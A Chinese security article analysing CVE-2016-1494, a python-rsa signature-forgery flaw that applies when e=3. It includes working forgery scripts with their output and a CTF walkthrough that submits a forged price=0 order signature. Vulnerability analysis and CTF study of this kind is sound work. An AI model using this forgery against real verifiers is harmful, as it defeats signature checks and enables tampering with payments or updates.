CVE-2016-1494 (python – rsa)漏洞详解

2016-04-12 497759人围观 ,发现 14 个不明物体 系统安全终端安全

原创作者:uncleheart

0×01 概述

CVE-2016-1494漏洞讲的是Python-rsa的签名伪造。在某些特定情况下,可以伪造python rsa库生成的签名信息。但是前提需要RSA的公钥指数e值很小,以下皆以e=3讨论。

数字签名是使用数字证书的私钥对数据的摘要加密,以保证数据的完整性、真实性和不可抵赖。

数字签名常用于确保文件是否被修改、需要传递的信息是否被篡改。例如给word文档签名使得原文件内容不能被修改、或者在网络购物进行订单支付时确保传给服务器的订单价格信息(price)没有被修改。

0×02 简述RSA原理及如何进行加解密

简单的来说,RSA常见到这些值:p、q、n、e、d、公钥(n、e)、 私钥(n、d)、 其中n=p*q、m是密文、c是明文、e一般为65537,在python-rsa中默认也为65537。

RSA是一种非对称加密算法,公钥是公布出去的,私钥要妥善保存。加密时使用公钥,解密时使用私钥。

例如:

n=50429, e=65537, d=46793, p=239, q=211

Bob拥有公钥(50429, 65537)想要给拥有私钥(50429,46793)的Alice发消息。

如果发送的消息为c=37,则公钥加密过的密文

m = c^e mod n =25804

Alice收到m后使用私钥解密

c = m ^ d mod n = 37

故得到了解密后的内容37

其实也可以使用私钥加密信息发送出去,然后用公钥解密,只不过应用场景(数字签名)不同

如果需要加密的内容是字符串,一般是将其转换为byte再转换为int参与运算;加密完成之后的密文基本都有不可打印字符,一般使用base64编码来方便密文的保存及传递。

以下为使用rsa模块生成一对公私钥并进行加解密实例

(pubkey, privkey) = rsa.newkeys(1024)  #1024是指n的二进制长度
pub = pubkey.save_pkcs1()
pubfile = open('public.pem','w+') #将公钥保存至文件(经过了base64编码)
pubfile.write(pub)
pubfile.close()
pri = privkey.save_pkcs1()
prifile = open('private.pem','w+') #将私钥保存至文件(经过了base64编码)
prifile.write(pri)
prifile.close()

# 从文件中加载公钥和密钥
message = 'hello'
with open('public.pem') as publicfile:
    p = publickfile.read()
    pubkey = rsa.PublicKey.load_pkcs1(p)
with open('private.pem') as privatefile:
    p = privatefile.read()
    privkey = rsa.PrivateKey.load_pkcs1(p)

# 用公钥加密、再用私钥解密
crypto = rsa.encrypt(message, pubkey)
message = rsa.decrypt(crypto, privkey)
print( message)
# sign 用私钥签名认真、再用公钥验证签名

signature = rsa.sign(message, privkey, 'SHA-256')
rsa.verify(message , signature, pubkey)

0×03 简述RSA签名原理

RSA签名使用的方案为PKCS#1 1.5,其基本原理为:

1) 先计算出需要签名的信息的HASH值(可使用MD5、SHA-1、SHA-256、SHA-384、SHA-512),然后再将编码为如下形式:

00 01 FF FF ... FF FF 00 ASN.1 HASH

其中:

a) ASN.1包含这段hash值类型的信息,详见源码展示中HASH_ASN1,具体定义请参考PKCS#1 RSA 算法标准

b) FF FF … FF FF 为填充的信息,使得与n的位数相同

2) 将这段编码使用私钥加密(即将其转换为int类型并做此运算 )。

3) 转换为byte类型并前缀补零至与n 位数相同。

4) 签名结束,返回签名信息。

以下为pythonrsa模块中签名使用到的部分函数

HASH_ASN1 = {
    'MD5': b('\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10'),
    'SHA-1': b('\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'),
    'SHA-256': b('\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'),
    'SHA-384': b('\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30'),
    'SHA-512': b('\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40'),
}

def sign(message, priv_key, hash):
    """Signs the message with the private key.

    Hashes the message, then signs the hash with the given key. This is known
    as a "detached signature", because the message itself isn't altered.

    :param message: the message to sign. Can be an 8-bit string or a file-like
        object. If ``message`` has a ``read()`` method, it is assumed to be a
        file-like object.
    :param priv_key: the :py:class:`rsa.PrivateKey` to sign with
    :param hash: the hash method used on the message. Use 'MD5', 'SHA-1',
        'SHA-256', 'SHA-384' or 'SHA-512'.
    :return: a message signature block.
    :raise OverflowError: if the private key is too small to contain the
        requested hash.

    """

    # Get the ASN1 code for this hash method
    if hash not in HASH_ASN1:
        raise ValueError('Invalid hash method: %s' % hash)
    asn1code = HASH_ASN1[hash]

    # Calculate the hash
    hash = _hash(message, hash)

    # Encrypt the hash with the private key
    cleartext = asn1code + hash
    keylength = common.byte_size(priv_key.n)
    padded = _pad_for_signing(cleartext, keylength)

    payload = transform.bytes2int(padded)
    encrypted = priv_key.blinded_encrypt(payload)
    block = transform.int2bytes(encrypted, keylength)

    return block

_pad_for_signing()函数功能为补齐”00 01 FF FF … FF FF”

以下为签名实例:

signature = rsa.sign(message, privkey, 'SHA-256')

0×04 简述RSA签名校验原理

以下为校验过程:

1)将这段编码使用公钥解密(即将其转换为int类型并做此运算 )。

2)如果解密后数据的前两位为’00 01′则继续下一步,否则抛出校验失败异常。

3)从第三位开始寻找’00’,即跳过填充的’FF’字段。如果没有找到也抛出校验失败异常。

4)判断出签名信息中使用的hash类型

5)使用判断出的hash算法将原信息求出散列值,并与签名信息中hash(签名信息中hash由上一步得到)进行比较,如果匹配成功则返回True,否则抛出校验失败异常。

以下为旧版本RSA签名校验源码

def verify(message, signature, pub_key): 
    blocksize = common.byte_size(pub_key.n)
    encrypted = transform.bytes2int(signature)
    decrypted = core.decrypt_int(encrypted, pub_key.e, pub_key.n)
    clearsig = transform.int2bytes(decrypted, blocksize)
    # If we can't find the signature marker, verification failed.
    if clearsig[0:2] != b('\x00\x01'):
        raise VerificationError('Verification failed')
    # Find the 00 separator between the padding and the payload
    try:
        sep_idx = clearsig.index(b('\x00'), 2)
    except ValueError:
        raise VerificationError('Verification failed')
    # Get the hash and the hash method
    (method_name, signature_hash) = _find_method_hash(clearsig[sep_idx+1:])
    message_hash = _hash(message, method_name)
    # Compare the real hash to the hash in the signature
    if message_hash != signature_hash:
          raise VerificationError('Verification failed')
    return True

def _find_method_hash(method_hash): 
    for (hashname, asn1code) in HASH_ASN1.items():
        if not method_hash.startswith(asn1code):
            continue
        return (hashname, method_hash[len(asn1code):])
    raise VerificationError('Verification failed')

HASH_ASN1 = {
'MD5': b('\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10'),
'SHA-1': b('\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'),
'SHA-256': b('\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'),
'SHA-384': b('\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30'),
'SHA-512': b('\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40'),
}

以下为RSA签名实例

rsa.verify('hello', signature, pubkey)

0×05 分析RSA签名伪造原理

1、简述

在e取得足够小的情况下(e=3),n与e就完全没有关联( m ^ e mod n= m , m ^ e)。校验函数没有校验00 01 与00之间填充的FF是否为FF(可以是任意值),这意味我们可以轻松找到一个符合以下要求的值s通过校验。

s ^ e mod n = (00) 01 XX … XX00 ASN.1 HASH (XX 为任意值)

原作者博客

文章的翻译

2、伪造签名过程

伪造原理已经很清楚了,现在就开始讲解如何快速生成符合要求的s。

总的来说就是求出一个数的立方满足上文要求,思考便知需要从右往左一个一个求解,下面给出此漏洞发现者给出的方法(the pen-and-paper column operation):

我们以求立方值后缀为1010101101的数为例

        9876543210  顺序
s:      0000000001
s^3:    0000000001
target  1010101101  0-1 满足要求,2 不满足要求

s:      0000000101
s^3:    0001111101
target  1010101101  0-3 满足要求,4 不满足要求

s:      0000010101
s^3: ...0000101101  
target  1010101101  0-6 满足要求,7 不满足要求

s:      0010010101
s^3: ...0110101101  
target  1010101101  0-7 满足要求,8 不满足要求

s:      0110010101
s^3: ...0010101101  
target  1010101101  0-8 满足要求,9 不满足要求

s:      1110010101
s^3: ...1010101101  
target  1010101101  全部满足要求

1110010101 ^ 3 = 101101111101011111101010101101
                                       ^^^^^^^^

找到符合要求的后缀后就容易了,只要再加上前缀开方之后再稍微修改一下就行,在这里必须要注意到一个问题:00 01 与00 之间不能有00,不然就会出错。这个问题也容易解决,只要不断地取随机数直至符合要求即可。

3、原作者的源码

原作者github

In [1]:

import hashlib
import rsa
import binascii
import os
from gmpy2 import mpz, iroot, powmod, mul, t_mod

In [2]:

def to_bytes(n):
    """ Return a bytes representation of a int """
    return n.to_bytes((n.bit_length() // 8) + 1, byteorder='big')

def from_bytes(b):
    """ Makes a int from a bytestring """
    return int.from_bytes(b, byteorder='big')

def get_bit(n, b):
    """ Returns the b-th rightmost bit of n """
    return ((1 << b) & n) >> b

def set_bit(n, b, x):
    """ Returns n with the b-th rightmost bit set to x """
    if x == 0: return ~(1 << b) & n
    if x == 1: return (1 << b) | n

def cube_root(n):
    return int(iroot(mpz(n), 3)[0])

In [3]:

message = "Ciao, mamma!!".encode("ASCII")
message_hash = hashlib.sha256(message).digest()

In [4]:

ASN1_blob = rsa.pkcs1.HASH_ASN1['SHA-256']
suffix = b'\x00' + ASN1_blob + message_hash

In [5]:

binascii.hexlify(suffix)

Out[5]:

b'003031300d060960864801650304020105000420a39ddaae64be645e43d483713135d6fad7c25d2956abab8d9a3dfdcd2b1b821b'

In [6]:

len(suffix)

Out[6]:

52

In [7]:

suffix[-1]&0x01 == 1 # easy suffix computation works only with odd target

Out[7]:

True

In [8]:

sig_suffix = 1
for b in range(len(suffix)*8):
    if get_bit(sig_suffix ** 3, b) != get_bit(from_bytes(suffix), b):
        sig_suffix = set_bit(sig_suffix, b, 1)

In [9]:

to_bytes(sig_suffix ** 3).endswith(suffix) # BOOM

Out[9]:

True

In [10]:

len(to_bytes(sig_suffix ** 3)) * 8

Out[10]:

1248

In [11]:

while True:
    prefix = b'\x00\x01' + os.urandom(2048//8 - 2)
    sig_prefix = to_bytes(cube_root(from_bytes(prefix)))[:-len(suffix)] + b'\x00' * len(suffix)
    sig = sig_prefix[:-len(suffix)] + to_bytes(sig_suffix)
    if b'\x00' not in to_bytes(from_bytes(sig) ** 3)[:-len(suffix)]: break

In [12]:

to_bytes(from_bytes(sig) ** 3).endswith(suffix)

Out[12]:

True

In [13]:

to_bytes(from_bytes(sig) ** 3).startswith(b'\x01')

Out[13]:

True

In [14]:

len(to_bytes(from_bytes(sig) ** 3)) == 2048//8 - 1

Out[14]:

True

In [15]:

b'\x00' not in to_bytes(from_bytes(sig) ** 3)[:-len(suffix)]

Out[15]:

True

In [16]:

binascii.hexlify(sig)

Out[16]:

b'2b82e655c7c20ca36597c05904639fa53c476beee7822e1e03eb5d3c5128bc947c7dc53e33e453b32c69e3caf4eb3e472ff0dfc29d65126b4f1eddd4a64bbd63ce192752903fee1fff985a48f1048993f91732a603'

In [17]:

binascii.hexlify(to_bytes(from_bytes(sig) ** 3))

Out[17]:

b'0141c9316c11defc55ef833ac67f78eb3ac191f5a69da2ea1d2e5f8e718fdc495cc68eb6576cce7d81e42eb717f37a122b709bbe476f5750df909fec2c3c1316787a3c7327a9ed9930ebbce8f5eb9f5155dc73d2f776fd085ea3cd85da8c2c01e5c79ae07cce8e615419d5e718dd4d34ce8cfccc7f6e167c756ad99cc13e3145151c69c76c2d14a5bb40a1bd9f6e095739f9963c042e76f4027ca49757e635b508f4efae58bcb9cc537e8237bb9d1ef35440b72cfc682dee97e2e8ed3e22a0c17ee80e78054c36a76f65e9003031300d060960864801650304020105000420a39ddaae64be645e43d483713135d6fad7c25d2956abab8d9a3dfdcd2b1b821b'

In [18]:

key = rsa.newkeys(2048)[0]
key.e = 3

In [19]:

rsa.verify(message, sig, key)

Out[19]:

True

4、原作者源代码存在的问题及改进

1)当使用to_bytes()函数转换时,可能会出现问题。

def to_bytes(n): 
   """ Return a bytesrepresentation of a int """ 
   return n.to_bytes((n.bit_length() // 8) + 1, byteorder='big')

n=167428188024748803454704773610969269337701819949353040345221678094583801170680853155544556871387140077734700301044759114912483byte_n=to_bytes(n)
print("to_bytes(n):\n",''.join( [ "%02X" % x for x in byte_n] ).strip())

运行结果如下:

Clipboard Image.png

得到的为

00FD461ACF56F0A7257950AD75E84A9561C35D916E91FA964D87159489987AB25F3DBF222B44F9A62C7E6554648E94F6DC19B992E3

但实际应该为

FD461ACF56F0A7257950AD75E84A9561C35D916E91FA964D87159489987AB25F3DBF222B44F9A62C7E6554648E94F6DC19B992E3

会在转换的前面多加上一个00从而导致后续过程失败。

int.to_bytes(length, byteorder, *, signed=False)将整数转换为字节数组表示,参数说明如下:

length:数组的长度,如果整数转换出的字节数组长度超过了该长度,则产生OverflowError;

byteorder:字节序;值为”big”或者”little”,”big”表示最有意义的字节放在字节数组的开头,”little”表示最有意义的字节放在字节数组的结尾。sys.byteorder保存了主机系统的字节序;

signed:确定是否使用补码来表示整数,如果值为false,并且是负数,则产生OverflowError。默认值False。

如果使用“(n.bit_length()// 8) + 1”计算转出的字节数组长度,当bit_length()恰好为8的倍数时,则会比正常的字节数组长度多1,导致在转换出的字节数组前面多了00。根据bit_length()返回值特性,故修改为“((n.bit_length() – 1 ) //8) + 1”。

2) 在原作者给出的求立方根方法中,需要有一个前提条件:待签名信息的二进制最后一位需要为1,且求根方法极易失败。

故需要优化方法:

1-15的立方值二进制如下

0001 1 -> 1 0001

0010 2 -> 8 1000

0011 3 -> 27 1011

0100 4 -> 64 0000

0101 5 -> 125 1101

0110 6 -> 216 1000

0111 7 -> 343 0111

1000 8 -> 512 0000

1001 9 -> 729 1001

1010 10 -> 1000 1000

1011 11 -> 1331 0011

1100 12 -> 1728 0000

1101 13 -> 2197 0101

1110 14 -> 2744 1000

1111 15 -> 3375 1111

求根方法是从右到左,关注2,、6、10、14的二进制及立方的二进制,就可以发现有两种合适的构造方法(规律普适):

a) 首先设置当前位为0或者1都可以满足条件,则设置当前位为1;如果只有1能满足条件则设置为1;如果只有0能满足则设置为0,如果都不能满足则求根失败。

b) 如果设置当前位为1不能满足条件,则判断设置为0能不能满足条件,如果还不能满足条件则求根失败。

注意:

由上表易知,并不是所有值都可以求出立方根,如果一个待签名信息不能找到合适的立方根,可以尝试修改签名信息中的一般都存在的随机字符串部分。同时,需要求立方根的值也不是直接的签名信息,是散列算法计算之后的值,所以只需要一点点变动就会造成巨大变化。

3) 全部修改完的代码如下

代码修改了to_bytes()函数、然后先后使用了两种优先级方法求得立方根。

import hashlib
import rsa
import binascii
import os
import struct
from rsa import transform
from gmpy2 import mpz, iroot, powmod, mul, t_mod

def to_bytes(n):
    """ Return a bytes representation of a int """
    return n.to_bytes(((n.bit_length()-1) // 8) + 1,
byteorder='big')

def from_bytes(b):
    """ Makes a int from a bytestring """
    return int.from_bytes(b, byteorder='big')

def get_bit(n, b):
    """ Returns the b-th rightmost bit of n """
    aaa=''.join( [ "%02X" % x for x in (to_bytes(n)) ] ).strip()
    t=((1<< b) & n) >> b
    aaa=''.join( [ "%02X" % x for x in (to_bytes(n)) ] ).strip()
    return ((1 << b) & n) >> b

def set_bit(n, b, x):
    """ Returns n with the b-th rightmost bit set to x """
    if x == 0: return ~(1 << b) & n
    if x == 1: return (1 << b) | n

def cube_root(n):
    return int(iroot(mpz(n), 3)[0])

message = "Ciao, mamma!!".encode("ASCII")
message_hash = hashlib.sha256(message).digest()
print("message_hash:",''.join( [ "%02X" % x for x in message_hash ] ).strip())
ASN1_blob = rsa.pkcs1.HASH_ASN1['SHA-256']
suffix = b'\x00' + ASN1_blob + message_hash
sig_suffix=0

for b in range(len(suffix)*8):
    aaa=''.join( [ "%02X" % x for x in (to_bytes(sig_suffix)) ] ).strip()
    if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):
        sig_suffix= set_bit(sig_suffix, b, 1)
        if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):
            continue
        else:
            sig_suffix= set_bit(sig_suffix, b, 0)
    else:
        sig_suffix= set_bit(sig_suffix, b, 1)
        if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):
            continue
        else:
            print("找不到立方根,使用第二种优先级")
            for bb in range(len(suffix)*8):
                sig_suffix= set_bit(sig_suffix, bb, 1)
                if get_bit(sig_suffix ** 3, bb) !=get_bit(from_bytes(suffix), bb):
                    sig_suffix= set_bit(sig_suffix, bb, 0)
                    if get_bit(sig_suffix ** 3, bb) !=get_bit(from_bytes(suffix), bb):
                        print("找不到立方根")
                        os.system("pause")
                        exit()
            break

while True:
    prefix= b'\x00\x01' + os.urandom(2048//8 - 2)
    sig_prefix= to_bytes(cube_root(from_bytes(prefix)))[:-len(suffix)] + b'\x00' * len(suffix)
    sig= sig_prefix[:-len(suffix)] + to_bytes(sig_suffix)
    temp=to_bytes(from_bytes(sig)** 3)
    if b'\x00' not in to_bytes(from_bytes(sig) **3)[:-len(suffix)]: break

#key = rsa.newkeys(2048)[0]
#因为 rsa.newkeys(2048)速度很慢,在测试中为了加速就提前保存好了key直接读取。
with open("g:/key.pem") as publickfile:
    p=publickfile.read()
    key=rsa.PublicKey.load_pkcs1(p)
key.e = 3
print(sig)

rsa.verify(message, sig, key)

测试结果:

测试字符串 原作者源代码 优化过的代码
“Ciao, mamma!!” 成功 成功
“Ciao, mamma!!11111″ 失败 成功

0×06 RSA签名伪造实例:BCTF2016_zerodaystore_writeup

以下就前不久BCTF 2016 中 zerodaystore题目开始讲解:

这是大牛们给出的writeup

https://github.com/p4-team/ctf/blob/master/2016-03-19-bctf/misc_200_zerodaystore/README.md

https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BCTF/misc/zerodaystore

http://www.freebuf.com/news/special/100143.html

大家看了writeup之后貌似会觉得此题与RSA签名伪造没什么关系,所以我就讲解在此题中运用该cve漏洞解题。(由于比赛结束后官方没有给出关于该题的任何信息,暂且还不知道利用pythonbase64 解码特性是不是出题者的愿意所在)

1、

如果大家看了writeup,就很容易理解此题的思路,我这里大概说一下。查看apk反编译的代码和给的server。py源码可以清楚了解到,首先app本地判断是否有充足的余额,如果有的话就给服务器发出购买请求,收到服务器回复的请求后再跳转到支付界面。在服务端,只有当通过支付时url解析出price小于或等于0,才能返回flag,不然就返回支付失败。所以解法就是,修改apk使得能发出购买请求,并且要通过服务器端的校验。由于此题重点不在Android逆向,我就省略了反编译及修改的过程。

Clipboard Image.png

我是直接将50000改成了0

2、

然而,我这里的思路完全不同,大牛们的解决办法是利用python的base64解码特性直接在sign的后面带一个!&price=-1就轻松解决问题,而我当时不知道怎么回事就找到了Python-rsa中的签名伪造,这篇是翻译了Filippo Valsorda的文章,在理解了作者的思路后,正准备写代码时发现了良心的作者给出了 github地址

3、

由作者给出的代码求出了伪造的签名并拼接了一下得到

orderID=16172bc1574d783328181685&price=0&productID=0&timestamp=1458467480268&signer=RSA&hash=sha256&nonce=ec784c46a881d4b9&sign=L4jFglorbF0ytTF6VvbV+Plw8mGEWtlPMnvn0RrzlMDZAzpno8jOQqvgWklmUciEzKmkaaabYTAJ4jWJFxLEkpzILgVrl6misjI+BCkVkhL51oX1lQ==

生成的签名信息可以与任意key通过校验(注意这里的前提条件 e = 3),于是返回了结果:

Clipboard Image.png

0×07 多几句废话

1、

如果大家没有旧版本的python-rsa可供测试,可以将pkcs1.py文件中verify()与_find_method_hash()函数修改成上文中展示的代码即可(但记得要备份呀)

如下为更新后的校验函数源代码,直接使用签名信息中hash类型求出散列值再拼接ASN.1,然后直接与解密后的信息进行比较,已经没有了寻找’00‘的步骤。

def verify(message, signature, pub_key):
    """Verifies that the signature matches the message.

    The hash method is detected automatically from the signature.

    :param message: the signed message. Can be an 8-bit string or a file-like
        object. If ``message`` has a ``read()`` method, it is assumed to be a
        file-like object.
    :param signature: the signature block, as created with :py:func:`rsa.sign`.
    :param pub_key: the :py:class:`rsa.PublicKey` of the person signing the message.
    :raise VerificationError: when the signature doesn't match the message.

    """

    keylength = common.byte_size(pub_key.n)
    encrypted = transform.bytes2int(signature)
    decrypted = core.decrypt_int(encrypted, pub_key.e, pub_key.n)
    clearsig = transform.int2bytes(decrypted, keylength)

    # Get the hash method
    method_name = _find_method_hash(clearsig)
    message_hash = _hash(message, method_name)

    # Reconstruct the expected padded hash
    cleartext = HASH_ASN1[method_name] + message_hash
    expected = _pad_for_signing(cleartext, keylength)

    # Compare with the signed one
    if expected != clearsig:
        raise VerificationError('Verification failed')

    return True

2、

在这里我说明一下,原文作者的文章出现了一个错误:

Clipboard Image.png

Clipboard Image.png

根据后文构造签名的思路及方法,我认为这里的的GARBAGE的位置不正确,应该是这样的:

00 01 GARBAGE 00 ASN.1 HASH

而且验证函数缺少的是“对00 01 与00之间填充的是否都是FF的检查”,而不是“对hash值得末尾有没有补齐的检查”:

    try:
        sep_idx = clearsig.index(b('\x00'), 2)
    except ValueError:
        raise VerificationError('Verification failed')

3、

以上的签名伪造都是基于e = 3, 原文作者也提到了

For the record, youtube-dl users were never at risk because I had hardcoded a public key with e=65537.

说实话我并没有找到一种合适的方法快速求出当 e = 65537 时的根,但理论上的确是要比爆破n的质数来得容易,毕竟00 01 与 00 之间的值不唯一,应该可以找到一个合适s使得

s ^ e mod n =  00 01 XX XX ... XX XX 00 ASN.1 HASH

而不用

s ^ e mod n =  00 01 FF FF ... FF FF 00 ASN.1 HASH

参考来源:东二门陈冠希filippo.iogithub,作者:uncleheart,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论

已有 14 条评论

取消
Loading...
css.php